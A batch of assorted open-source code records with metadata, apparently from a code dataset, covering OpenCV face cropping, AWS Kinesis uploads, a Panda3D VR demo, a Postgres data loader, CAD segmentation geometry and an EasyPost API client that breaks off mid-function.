"os.path", "line_number": 265, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 266, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 266, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 267, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 267, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 270, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 270, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 271, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 271, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 299, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 302, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 330, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPainter", "line_number": 332, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPen", "line_number": 333, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.red", "line_number": 333, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 333, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.SolidLine", "line_number": 333, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QGuiApplication.primaryScreen", "line_number": 336, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QGuiApplication", "line_number": 336, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 348, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 348, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 351, "usage_type": "call"}]} {"seq_id": "387247994", "text": "\"\"\"crop face from image \"\"\"\n\nimport cv2\n\n\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\n\n\nimg = cv2.imread('cz.jpg')\n\n\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nfaces = face_cascade.detectMultiScale(gray, 1.3, 5)\n\nfor (x, y, w, h) in faces:\n cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)\n sub_face = gray[y:y + h, x:x + w]\n\ncv2.imwrite(\"croped_face.jpg\", sub_face)\ncv2.imshow('img', img)\n\nwhile 1 :\n k = cv2.waitKey(30) & 0xff\n if k == 27:\n cv2.destroyAllWindows()\n break", "sub_path": "crop.py", "file_name": "crop.py", "file_ext": "py", "file_size_in_byte": 532, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "cv2.CascadeClassifier", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 26, "usage_type": "call"}]} {"seq_id": "604470229", "text": "# -*- coding: utf-8 -*-\nimport json\nimport boto3\nfrom boto3.session import Session\nfrom pprint import pprint\n\nSTREAM_NAME = 'terraform-kinesis-test'\nPARTITION_KEY = 'mp4'\nIMAGE_PATH = 'test.mp4'\n\nsession = Session(region_name='us-west-2')\nkinesis = session.client('kinesis')\n\nresponse = kinesis.describe_stream(StreamName=STREAM_NAME)\n\nfile_object = open(IMAGE_PATH, 'rb')\ntry:\n while True:\n # 1MB = 1kB * 1000\n chunk = file_object.read(1000 * 1000)\n if not chunk:\n break\n response = kinesis.put_record(\n StreamName=STREAM_NAME,\n Data=chunk,\n PartitionKey=PARTITION_KEY,\n # ExplicitHashKey='string',\n # SequenceNumberForOrdering='string'\n )\nfinally:\n file_object.close()\n", "sub_path": "kinesis/binary_upload.py", "file_name": "binary_upload.py", "file_ext": "py", "file_size_in_byte": 778, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "boto3.session.Session", "line_number": 11, "usage_type": "call"}]} {"seq_id": "380874827", "text": "#!/usr/bin/python2\nimport sys\nimport multiprocessing\nimport logging\nimport os\nimport itertools\nimport math\n#import gmpy2\nimport copy\nimport collections\nimport string\nimport scipy.stats as stats\n\n\ndef solve(casedata):\n \"\"\" Solve case \"\"\"\n (naomi, ken, N) = casedata\n warp = 0\n dwarp = 0\n i = 0\n j = 0\n while True:\n if ken[i] > naomi[j]:\n i += 1\n j += 1\n else:\n warp += 1\n i += 1\n if i == N or j == N:\n break\n i = N-1\n j = N-1\n while True:\n if ken[i] > naomi[j]:\n i -= 1\n else:\n i -= 1\n j -= 1\n dwarp += 1\n if i < 0 or j < 0:\n break\n\n return \"%d %d\" % (dwarp, warp)\n\ndef parse():\n \"\"\" Returns a list of N lists containing imput data for each case \"\"\"\n t = int(sys.stdin.readline())\n cases = list()\n for case in range(t):\n N = int(sys.stdin.readline())\n naomi = sorted(map(float, sys.stdin.readline().split()))\n ken = sorted(map(float, sys.stdin.readline().split()))\n casedata = [naomi, ken, N]\n cases.append(casedata)\n return cases\n\nif __name__ == '__main__':\n cases = parse()\n #p = multiprocessing.Pool(multiprocessing.cpu_count())\n #results = p.map(solve, cases)\n #for case, result in enumerate(results):\n # print('Case #%d: %s' % (case + 1, result))\n # sys.stdout.flush()\n\n #for case, data in enumerate(cases):\n # result = solve(data)\n # print('Case #%d: %s' % (case + 1, result))\n # sys.stdout.flush()\n\n p = multiprocessing.Pool(multiprocessing.cpu_count())\n resultobjs = [p.apply_async(solve, [case]) for case in cases]\n for case, resultobj in enumerate(resultobjs):\n print('Case #%d: %s' % (case + 1, resultobj.get()))\n # sys.stdout.flush()\n", "sub_path": "solutions_5644738749267968_1/Python/Jethol/D.py", "file_name": "D.py", "file_ext": "py", "file_size_in_byte": 1847, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.stdin.readline", "line_number": 47, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 50, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 51, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 52, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 52, "usage_type": "attribute"}, {"api_name": "multiprocessing.Pool", "line_number": 70, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 70, "usage_type": "call"}]} {"seq_id": "230763698", "text": "#Input the information into SQl or SAS\nimport sqlite3\n\nconn = sqlite3.connect('mrt21.sqlite')\ncur = conn.cursor()\n\ncur.executescript('''\nDROP TABLE IF EXISTS name;\nDROP TABLE IF EXISTS gender;\n\nCREATE TABLE User (\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n name TEXT UNIQUE,\n gender TEXT UNIQUE\n);\n\nCREATE TABLE Topic (\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n gender TEXT UNIQUE\n)\n''')\n\n\nfname = input('Enter file name: ')\nif (len(fname) < 1): fname = 'C:/Users/Solly/Desktop/data-science/July2.xlsx'\nfh = open(fname)\n\ngender = str(rows)\nname = str(row)\n\n#print(gender,name)\n\ncur.execute('''INSERT OR IGNORE INTO User (name, gender)\n VALUES ( ?, ? )''', ( name, gender ) )\ncur.execute('SELECT id FROM User WHERE name = ? ', (name, ))\nuser_id = cur.fetchone()\n\ncur.execute('''INSERT OR IGNORE INTO Topic (gender)\n VALUES ( ? )''', ( gender, ) )\ncur.execute('SELECT id FROM Topic WHERE gender = ? ', (gender, ))\ncrisis = cur.fetchone()[0]\n\nsqlstr = '''SELECT User.name, user.gender\n FROM name JOIN gender\n ORDER BY User.name LIMIT 3'''\nprint(sqlstr)\n\n#for rower in cur.execute(sqlstr):\n # print(str(rower[0]),str(rower[1]),str(rower[2]),str(rower[3]))\n\n\nconn.commit()\n\ncur.close()\n#C:/Users/Solly/Desktop/py4e/mbox.txt\n", "sub_path": "mrttry.py", "file_name": "mrttry.py", "file_ext": "py", "file_size_in_byte": 1290, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlite3.connect", "line_number": 4, "usage_type": "call"}]} {"seq_id": "490649049", "text": "from direct.showbase.ShowBase import ShowBase\nfrom panda3d.core import ExecutionEnvironment\n\nfrom p3dopenvr.p3dopenvr import P3DOpenVR\n\nimport openvr\nimport os\n\nclass MinimalOpenVR(P3DOpenVR):\n def __init__(self):\n P3DOpenVR.__init__(self)\n self.left_hand = None\n self.right_hand = None\n\n def init_action(self):\n main_dir = ExecutionEnvironment.getEnvironmentVariable(\"MAIN_DIR\")\n filename = os.path.join(main_dir, \"demo_actions.json\")\n self.load_action_manifest(filename, \"/actions/demo\")\n self.action_haptic_left = self.vr_input.getActionHandle('/actions/demo/out/Haptic_Left')\n self.source_left = self.vr_input.getInputSourceHandle('/user/hand/left')\n self.action_pose_left = self.vr_input.getActionHandle('/actions/demo/in/Hand_Left')\n self.action_haptic_right = self.vr_input.getActionHandle('/actions/demo/out/Haptic_Right')\n self.source_right = self.vr_input.getInputSourceHandle('/user/hand/right')\n self.action_pose_right = self.vr_input.getActionHandle('/actions/demo/in/Hand_Right')\n self.action_left_trigger = self.vr_input.getActionHandle('/actions/demo/in/left_trigger')\n self.action_right_trigger = self.vr_input.getActionHandle('/actions/demo/in/right_trigger')\n\n def update_action(self):\n left_trigger_state, device = self.get_digital_action_rising_edge(self.action_left_trigger)\n if left_trigger_state:\n print(\"LEFT\")\n self.vr_input.triggerHapticVibrationAction(self.action_haptic_left, 0, 1, 4, 1, openvr.k_ulInvalidInputValueHandle)\n right_trigger_state, device = self.get_digital_action_rising_edge(self.action_right_trigger)\n if right_trigger_state:\n print(\"RIGHT\")\n self.vr_input.triggerHapticVibrationAction(self.action_haptic_right, 0, 1, 4, 1, openvr.k_ulInvalidInputValueHandle)\n left_pose = self.get_action_pose(self.action_pose_left)\n if left_pose.pose.bPoseIsValid:\n left_matrix = self.get_pose_modelview(left_pose.pose)\n if self.left_hand is None:\n self.left_hand = self.tracking_space.attach_new_node('left-hand')\n model = loader.loadModel(\"box\")\n model.reparent_to(self.left_hand)\n model.set_scale(0.1)\n self.left_hand.show()\n self.left_hand.set_mat(left_matrix)\n else:\n if self.left_hand is not None:\n self.left_hand.hide()\n right_pose = self.get_action_pose(self.action_pose_right)\n if right_pose.pose.bPoseIsValid:\n right_matrix = self.get_pose_modelview(right_pose.pose)\n if self.right_hand is None:\n self.right_hand = self.tracking_space.attach_new_node('right-hand')\n model = loader.loadModel(\"box\")\n model.reparent_to(self.right_hand)\n model.set_scale(0.1)\n self.right_hand.show()\n self.right_hand.set_mat(right_matrix)\n else:\n if self.right_hand is not None:\n self.right_hand.hide()\n\nbase = ShowBase()\nbase.setFrameRateMeter(True)\n\nmyvr = MinimalOpenVR()\nmyvr.init()\n\nmodel = loader.loadModel(\"panda\")\nmodel.reparentTo(render)\nmodel.setPos(0, 10, -5)\n\nbase.accept('d', myvr.list_devices)\nbase.accept('b', base.bufferViewer.toggleEnable)\n\nbase.run()\n", "sub_path": "samples/actions/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3373, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "p3dopenvr.p3dopenvr.P3DOpenVR", "line_number": 9, "usage_type": "name"}, {"api_name": "p3dopenvr.p3dopenvr.P3DOpenVR.__init__", "line_number": 11, "usage_type": "call"}, {"api_name": "p3dopenvr.p3dopenvr.P3DOpenVR", "line_number": 11, "usage_type": "name"}, {"api_name": "panda3d.core.ExecutionEnvironment.getEnvironmentVariable", "line_number": 16, "usage_type": "call"}, {"api_name": "panda3d.core.ExecutionEnvironment", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "openvr.k_ulInvalidInputValueHandle", "line_number": 32, "usage_type": "attribute"}, {"api_name": "openvr.k_ulInvalidInputValueHandle", "line_number": 36, "usage_type": "attribute"}, {"api_name": "direct.showbase.ShowBase.ShowBase", "line_number": 64, "usage_type": "call"}]} {"seq_id": "84509375", "text": "# The purpose of this code is to transform \nimport json\nimport re\nimport string\n\nwith open('lyincomey_18_04_12_11_30_02.txt') as json_data:\n string = json_data.read()\n tweets = json.loads(string)\n\n\n# A means to loop through all keys in a dictionary\ndef loopOverValue (key, possibleDictOrList):\n if isinstance(possibleDictOrList, list):\n\n print('\\n' + key + ' is list with length: ' + str(len(possibleDictOrList)))\n for x in range(len(possibleDictOrList)):\n loopOverValue(key, possibleDictOrList[x])\n\n elif isinstance(possibleDictOrList, dict):\n\n print('\\n' + key + ' is dict with length: ' + str(len(possibleDictOrList)))\n for k, v in possibleDictOrList.items():\n loopOverValue(k, v)\n else:\n\n print(key + ': ' + str(possibleDictOrList))\n\nfor idx, status in enumerate(tweets['statuses']):\n\n if idx == 0:\n for k1, v1 in status.items():\n loopOverValue(k1, v1)\n \n\n# \t# if idx != 45:\n# \t# \tcontinue\n# \t####### REMOVE EMOJIS ######\n# \t# Emojis need to be converted to a description for accessibility purposes\n# \t# Without the lookup table, I am simply removing them all together.\n# \ttweetText = status['text']\n# \tuserDescription = status['user']['description']\n# \t # Remove emojis using regular expressions\n# \ttweetText = emojis.sub(r'', tweetText)\n# \tuserDescription = emojis.sub(r'', userDescription)\n \t\n# \ttweetList[idx]['MSR']['text'] = tweetText\n# \ttweetList[idx]['text'] = tweetText\n# \ttweetList[idx]['user']['entities']['description'] = userDescription\n\n# \tif 'retweeted_status' in status:\n# \t\tretweetText = status[\"retweeted_status\"][\"text\"]\n# \t\tretweetUserDescription = status['retweeted_status']['user']['description']\n \t\t\n# \t\tretweetText = emojis.sub(r'',retweetText)\n# \t\tretweetUserDescription = emojis.sub(r'',retweetUserDescription)\n# \t\ttweetList[idx][\"retweeted_status\"][\"text\"] = retweetText\n# \t\ttweetList[idx]['retweeted_status']['user']['description'] = retweetUserDescription\n\n# with open('dataNoEmojis.json', 'w') as f:\n# \tjson.dump(tweetList, f, sort_keys=True, indent=4, separators=(',', ': '))", "sub_path": "python/scripts/iterateThroughAllKeysAndValues.py", "file_name": "iterateThroughAllKeysAndValues.py", "file_ext": "py", "file_size_in_byte": 2131, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.loads", "line_number": 8, "usage_type": "call"}]} {"seq_id": "241888706", "text": "# encoding: utf-8\nimport psycopg2\nimport psycopg2.extras\nimport pandas as pd\nimport numpy as np\nimport json\nfrom base64 import b64decode\nfrom . import fails\nfrom .files import File\nfrom .states import State\n\n\nclass Data(object):\n def __init__(self, args, config, **kwargs):\n self.RuleNotFound = fails.RuleNotFound\n self.ColumnNotFound = fails.ColumnNotFound\n self.FailDataFound = fails.FailDataFound\n self.np = np\n self.pd = pd\n self.args = args\n self.config = config\n self.action = self.args.action\n self.state = State(self)\n self.gen_json(self.args.load)\n self.read_csv(self.file.file_path)\n self.init_ibge()\n\n @property\n def connection(self):\n \"\"\"\n database – the database name (only as keyword argument)\n user – user name used to authenticate\n password – password used to authenticate\n host – database host address (defaults to UNIX socket if not provided)\n port – connection port number (defaults to 5432 if not provided)\n \"\"\"\n try:\n return self._connection\n except AttributeError:\n self._connection = psycopg2.connect(**self.config.database)\n return self._connection\n\n @property\n def id_register(self):\n return self.state.id_register\n\n def gen_json(self, load):\n sql = \"SELECT fn_gera_json('{0}')\".format(load)\n with self.connection as conn:\n with conn.cursor() as curs:\n curs.execute(sql)\n raw = curs.fetchone()[0]\n self.json = json.loads(raw)['arquivo']\n return self.json\n\n def read_csv(self, file):\n try:\n self.content = pd.read_csv(file, delimiter=str(';'), dtype=np.object, encoding=self.file.encoding)\n return self.content\n except Exception as e:\n raise self.FailDataFound(e)\n\n @property\n def file(self):\n if hasattr(self, '_file'):\n return self._file\n else:\n self._file = File(self.args.file)\n return self._file\n\n @property\n def id_file(self):\n if hasattr(self, '_id_file'):\n return self._id_file\n else:\n sql = \"\"\"\n SELECT * FROM iniciativa.tbarquivo_acao\n WHERE\n cod_arquivo='{0}'\n \"\"\".format(self.args.load)\n with self.connection as conn:\n with conn.cursor() as curs:\n curs.execute(sql)\n self._id_file = curs.fetchone()[0]\n return self._id_file\n\n @property\n def origin(self):\n return 1\n\n @property\n def file_columns(self):\n result = [i.lower().strip() for i in self.content.columns.values.tolist()]\n return result\n\n @property\n def json_columns(self):\n return [value['logico'].lower().strip() for key, value in self.json['colunas'].items()]\n\n @property\n def fisic_columns(self):\n result = [self.get_fisic_column(i) for i in self.file_columns]\n return result\n\n @property\n def dest_table(self):\n return self.json['tabela']\n\n def is_base64(self, value):\n try:\n result = b64decode(value)\n return result.decode()\n except:\n return False\n\n def get_rules(self, column):\n for key, value in self.json['colunas'].items():\n if value['logico'].lower().strip() == column.lower().strip():\n rules = value['dominio']\n result = self.is_base64(rules['expressao'])\n if result:\n rules['expressao'] = result\n else:\n pass\n return value['dominio']\n else:\n pass\n raise self.RuleNotFound('Regra não existe')\n\n def get_column(self, column):\n for key, value in self.json['colunas'].items():\n if value['logico'].lower().strip() == column.lower().strip():\n return value\n else:\n pass\n raise self.ColumnNotFound('Coluna não existe')\n\n def get_fisic_column(self, column):\n return self.get_column(column)['fisico']\n\n def add_column(self, column, cells):\n self.content.loc[:, column] = cells\n\n def init_ibge(self):\n sql = \"SELECT cod_municipio cod7, cod_municipio6 cod6 FROM geo.tbmunicipio\"\n if not hasattr(self, 'ibge7'):\n with self.connection as conn:\n with conn.cursor() as curs:\n curs.execute(sql)\n ibge_list = curs.fetchall()\n self.ibge7 = [row[0] for row in ibge_list]\n self.ibge6 = [row[1] for row in ibge_list]\n\n def search_ibge(self, item):\n method = len(item)\n try:\n if method == 6:\n if int(item) in self.ibge6:\n return True\n else:\n return False\n elif method == 7:\n if int(item) in self.ibge7:\n return True\n else:\n return False\n else:\n return False\n except ValueError:\n return False\n\n @property\n def project_name(self):\n sql = \"\"\"\n SELECT a.nom_acao || ' - '|| ac.nom_rotulo_arquivo nome\n FROM iniciativa.tbacao a, iniciativa.tbarquivo_acao ac\n WHERE ac.cod_arquivo = '{0}'\n and a.chv_acao = ac.chv_acao\n \"\"\".format(self.args.load)\n with self.connection as conn:\n with conn.cursor() as curs:\n curs.execute(sql)\n return curs.fetchone()[0]\n\n @property\n def id_user(self):\n if hasattr(self, '_id_user'):\n return self._id_user\n else:\n sql = \"\"\"\n SELECT chv_usuario\n FROM\n acesso.tbusuario WHERE nom_identificacao = '{0}';\n \"\"\".format(self.args.user_id)\n with self.connection as conn:\n with conn.cursor() as curs:\n curs.execute(sql)\n return curs.fetchone()[0]\n\n @property\n def user_email(self):\n sql = \"\"\"\n SELECT nom_contato from acesso.tbcontato c\n WHERE c.chv_usuario='{0}'\n AND chv_tipo_contato=3\n \"\"\".format(self.id_user)\n with self.connection as conn:\n with conn.cursor() as curs:\n curs.execute(sql)\n return curs.fetchone()[0]\n", "sub_path": "data/data.py", "file_name": "data.py", "file_ext": "py", "file_size_in_byte": 6683, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "states.State", "line_number": 23, "usage_type": "call"}, {"api_name": "psycopg2.connect", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.object", "line_number": 58, "usage_type": "attribute"}, {"api_name": "files.File", "line_number": 68, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 111, "usage_type": "call"}]} {"seq_id": "499610431", "text": "import math\nimport cadquery as cq\n\nfrom paramak import RotateStraightShape\nfrom paramak.utils import rotate, intersect_solid, coefficients_of_line_from_points\n\n\nclass PoloidalSegments(RotateStraightShape):\n \"\"\"Creates a ring of wedges from a central point. When provided with a shape\n to_segment the shape will be segmented by the wedges. This is useful for\n segmenting geometry into equal poloidal angles. Intended to segment the\n firstwall geometry for using in neutron wall loading simulations.\n\n Args:\n shape_to_segment (paramak.Shape): the Shape to segment, if None then\n the segmenting solids will be returned\n max_distance_from_center (float): the maximum distance from the center\n point outwards (cm).\n center_point (tuple of floats): the center of the segmentation wedges\n (x,z) values (cm).\n number_of_segments (int): the number of equal angles segments in 360\n degrees.\n\n Keyword Args:\n name (str): the legend name used when exporting a html graph of the\n shape.\n color (sequences of 3 or 4 floats each in the range 0-1): the color to\n use when exporting as html graphs or png images.\n material_tag (str): The material name to use when exporting the\n neutronics description.\n stp_filename (str): The filename used when saving stp files as part of a\n reactor.\n azimuth_placement_angle (float or iterable of floats): The angle or\n angles to use when rotating the shape on the azimuthal axis.\n rotation_angle (float): The rotation angle to use when revolving the\n solid (degrees).\n workplane (str): The orientation of the CadQuery workplane. Options are\n XY, YZ or XZ.\n intersect (CadQuery object): An optional CadQuery object to perform a\n boolean intersect with this object.\n cut (CadQuery object): An optional CadQuery object to perform a boolean\n cut with this object.\n union (CadQuery object): An optional CadQuery object to perform a\n boolean union with this object.\n tet_mesh (str): Insert description.\n physical_groups (type): Insert description.\n\n Returns:\n a paramak shape object: A shape object that has generic functionality\n with points determined by the find_points() method. A CadQuery solid of\n the shape can be called via shape.solid.\n \"\"\"\n\n def __init__(\n self,\n center_point,\n shape_to_segment=None,\n number_of_segments=10,\n max_distance_from_center=1000,\n rotation_angle=360,\n stp_filename=\"PoloidalSegmenter.stp\",\n stl_filename=\"PoloidalSegmenter.stl\",\n color=(0.5, 0.5, 0.5),\n azimuth_placement_angle=0,\n name=\"poloidal_segmenter\",\n material_tag=\"poloidal_segmenter_mat\",\n **kwargs\n ):\n\n default_dict = {\n \"points\": None,\n \"workplane\": \"XZ\",\n \"solid\": None,\n \"intersect\": None,\n \"cut\": None,\n \"union\": None,\n \"tet_mesh\": None,\n \"physical_groups\": None,\n }\n\n for arg in kwargs:\n if arg in default_dict:\n default_dict[arg] = kwargs[arg]\n\n super().__init__(\n name=name,\n color=color,\n material_tag=material_tag,\n stp_filename=stp_filename,\n stl_filename=stl_filename,\n azimuth_placement_angle=azimuth_placement_angle,\n rotation_angle=rotation_angle,\n hash_value=None,\n **default_dict\n )\n\n self.center_point = center_point\n self.shape_to_segment = shape_to_segment\n self.number_of_segments = number_of_segments\n self.max_distance_from_center = max_distance_from_center\n\n @property\n def number_of_segments(self):\n return self._number_of_segments\n\n @number_of_segments.setter\n def number_of_segments(self, value):\n if isinstance(value, int) is False:\n raise ValueError(\n \"PoloidalSegmenter.number_of_segments must be an int.\")\n if value < 1:\n raise ValueError(\n \"PoloidalSegmenter.number_of_segments must be a minimum of 1.\")\n self._number_of_segments = value\n\n @property\n def shape_to_segment(self):\n return self._shape_to_segment\n\n @shape_to_segment.setter\n def shape_to_segment(self, value):\n self._shape_to_segment = value\n\n @property\n def center_point(self):\n return self._center_point\n\n @center_point.setter\n def center_point(self, center_point):\n self._center_point = center_point\n\n @property\n def max_distance_from_center(self):\n return self._max_distance_from_center\n\n @max_distance_from_center.setter\n def max_distance_from_center(self, value):\n self._max_distance_from_center = value\n\n @property\n def solid(self):\n if self.get_hash() != self.hash_value:\n self.create_solid()\n return self._solid\n\n @solid.setter\n def solid(self, value):\n self._solid = value\n\n def find_points(self):\n \"\"\"Finds the XZ points joined by straight connections that describe the 2D\n profile of the poloidal segmentation shape.\"\"\"\n\n angle_per_segment = 360. / self.number_of_segments\n\n points = []\n\n current_angle = 0\n\n outer_point = (\n self.center_point[0] +\n self.max_distance_from_center,\n self.center_point[1])\n for i in range(self.number_of_segments):\n\n points.append(self.center_point)\n\n outer_point_1 = rotate(\n self.center_point,\n outer_point,\n math.radians(current_angle))\n outer_point_2 = rotate(\n self.center_point, outer_point, math.radians(\n current_angle + angle_per_segment))\n\n if outer_point_1[0] < 0:\n m, c = coefficients_of_line_from_points(\n outer_point_1, self.center_point)\n points.append((0, c))\n else:\n points.append(outer_point_1)\n\n if outer_point_2[0] < 0:\n m, c = coefficients_of_line_from_points(\n outer_point_2, self.center_point)\n points.append((0, c))\n else:\n points.append(outer_point_2)\n\n current_angle = current_angle + angle_per_segment\n\n self.points = points\n\n def create_solid(self):\n \"\"\"Creates a 3d solid using points with straight connections\n edges, azimuth_placement_angle and rotation angle.\n\n individual solids in the compound can be accessed using .Solids()[i] where i is an int\n\n Returns:\n A CadQuery solid: A 3D solid volume\n \"\"\"\n\n iter_points = iter(self.points)\n triangle_wedges = []\n for p1, p2, p3 in zip(iter_points, iter_points, iter_points):\n\n solid = (\n cq.Workplane(self.workplane)\n .polyline([p1, p2, p3])\n .close()\n .revolve(self.rotation_angle)\n )\n triangle_wedges.append(solid)\n\n if self.shape_to_segment is None:\n\n compound = cq.Compound.makeCompound(\n [a.val() for a in triangle_wedges]\n )\n\n else:\n\n intersected_solids = []\n for segment in triangle_wedges:\n overlap = intersect_solid(segment, self.shape_to_segment)\n intersected_solids.append(overlap)\n\n compound = cq.Compound.makeCompound(\n [a.val() for a in intersected_solids]\n )\n\n self.solid = compound\n\n self.hash_value = self.get_hash()\n\n return compound\n", "sub_path": "paramak/parametric_components/poloidal_segmenter.py", "file_name": "poloidal_segmenter.py", "file_ext": "py", "file_size_in_byte": 7902, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "paramak.RotateStraightShape", "line_number": 8, "usage_type": "name"}, {"api_name": "paramak.utils.rotate", "line_number": 168, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 171, "usage_type": "call"}, {"api_name": "paramak.utils.rotate", "line_number": 172, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 173, "usage_type": "call"}, {"api_name": "paramak.utils.coefficients_of_line_from_points", "line_number": 177, "usage_type": "call"}, {"api_name": "paramak.utils.coefficients_of_line_from_points", "line_number": 184, "usage_type": "call"}, {"api_name": "cadquery.Workplane", "line_number": 209, "usage_type": "call"}, {"api_name": "cadquery.Compound.makeCompound", "line_number": 218, "usage_type": "call"}, {"api_name": "cadquery.Compound", "line_number": 218, "usage_type": "attribute"}, {"api_name": "paramak.utils.intersect_solid", "line_number": 226, "usage_type": "call"}, {"api_name": "cadquery.Compound.makeCompound", "line_number": 229, "usage_type": "call"}, {"api_name": "cadquery.Compound", "line_number": 229, "usage_type": "attribute"}]} {"seq_id": "395889842", "text": "from typing import (\n Any,\n Dict,\n List,\n Optional,\n)\n\nimport requests\n\nfrom easypost.constant import TIMEOUT\nfrom easypost.easypost_object import convert_to_easypost_object\nfrom easypost.error import Error\nfrom easypost.requestor import (\n RequestMethod,\n Requestor,\n)\n\n\nclass ReferralCustomer:\n @staticmethod\n def create(api_key: Optional[str] = None, **params) -> Dict[str, Any]:\n \"\"\"Create a referral user.\n\n This function requires the Partner User's API key.\n \"\"\"\n requestor = Requestor(local_api_key=api_key)\n new_params = {\"user\": params}\n response, api_key = requestor.request(\n method=RequestMethod.POST,\n url=\"/referral_customers\",\n params=new_params,\n )\n return convert_to_easypost_object(response=response, api_key=api_key)\n\n @staticmethod\n def update_email(email, user_id, api_key: Optional[str] = None) -> None:\n \"\"\"Update a referral user.\n\n This function requires the Partner User's API key.\n \"\"\"\n requestor = Requestor(local_api_key=api_key)\n url = f\"/referral_customers/{user_id}\"\n wrapped_params = {\n \"user\": {\n \"email\": email,\n }\n }\n _, _ = requestor.request(\n method=RequestMethod.PUT,\n url=url,\n params=wrapped_params,\n )\n\n @staticmethod\n def all(api_key: Optional[str] = None, **params) -> List:\n \"\"\"Retrieve a list of referral users.\n\n This function requires the Partner User's API key.\n \"\"\"\n requestor = Requestor(local_api_key=api_key)\n response, api_key = requestor.request(\n method=RequestMethod.GET,\n url=\"/referral_customers\",\n params=params,\n )\n return convert_to_easypost_object(response=response, api_key=api_key)\n\n @classmethod\n def get_next_page(\n cls,\n referrals: Dict[str, Any],\n page_size: int,\n api_key: Optional[str] = None,\n ) -> List[\"ReferralCustomer\"]:\n \"\"\"Retrieve next page of a referral customers.\"\"\"\n requestor = Requestor(local_api_key=api_key)\n url = \"/referral_customers\"\n referral_array = referrals[\"referral_customers\"]\n\n if referral_array is None or len(referral_array) == 0 or not referrals.get(\"has_more\"):\n raise Error(message=\"There are no more pages to retrieve.\")\n\n params = {\n \"before_id\": referral_array[-1].id,\n \"page_size\": page_size,\n }\n\n response, api_key = requestor.request(method=RequestMethod.GET, url=url, params=params)\n if response is None or len(response[\"referral_customers\"]) == 0 or not response[\"has_more\"]:\n raise Error(message=\"There are no more pages to retrieve.\")\n\n return convert_to_easypost_object(response=response, api_key=api_key)\n\n @staticmethod\n def add_credit_card(\n referral_api_key: str,\n number: str,\n expiration_month: int,\n expiration_year: int,\n cvc: str,\n priority: str = \"primary\",\n ) -> Dict[str, Any]:\n \"\"\"Add credit card to a referral customer.\n\n This function requires the ReferralCustomer User's API key.\n \"\"\"\n 